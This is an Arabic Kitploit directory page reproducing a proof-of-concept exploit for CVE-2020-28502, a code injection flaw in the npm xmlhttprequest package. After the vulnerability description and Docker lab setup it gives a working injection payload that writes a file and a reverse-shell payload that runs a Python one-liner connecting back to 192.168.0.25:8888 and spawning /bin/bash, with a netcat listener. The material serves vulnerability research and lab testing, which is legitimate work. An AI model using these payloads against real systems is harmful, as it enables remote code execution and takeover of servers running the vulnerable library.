Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-28502 — CVE-2020-28502 node-XMLHttpRequest RCE | Kitploit
أدوات/GitHubGitHub/s-index/cve-2020-28502
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubs-index/cve-2020-28502

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE

عرض المستودع
3250منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة CVE-2020-28502 في node-XMLHttpRequest (RCE)

وصف NVD

يؤثر هذا على الحزمة xmlhttprequest قبل الإصدار 1.7.0؛ وجميع إصدارات الحزمة xmlhttprequest-ssl. بشرط إرسال الطلبات بشكل متزامن (async=False في xhr.open)، يمكن أن يؤدي إدخال المستخدم الضار الذي يتدفق إلى xhr.send إلى إدخال وتنفيذ تعليمات برمجية عشوائية.

عرض توضيحي

cve-2020-28502

الإعداد

  1. أنشئ صورة من Dockerfile
root@kitploit:~
$ docker build -t cve-2020-28502 .
  1. شغّل node app.js في حاوية جديدة
root@kitploit:~
$ docker run --rm -p 3000:3000 cve-2020-28502
  1. الوصول إلى http://localhost:3000

localhost-image

حمولة PoC

إضافة ملف

تنزيل الأداة

أرسل الحمولة

root@kitploit:~
\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//

شل عكسي

  1. استمع للعميل
root@kitploit:~
$ nc -l 8888
  1. أرسل الحمولة

غير عنوان IP (192.168.0.25) إلى عنوان IP المحلي الخاص بك

root@kitploit:~
\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//

مرجع

  • https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935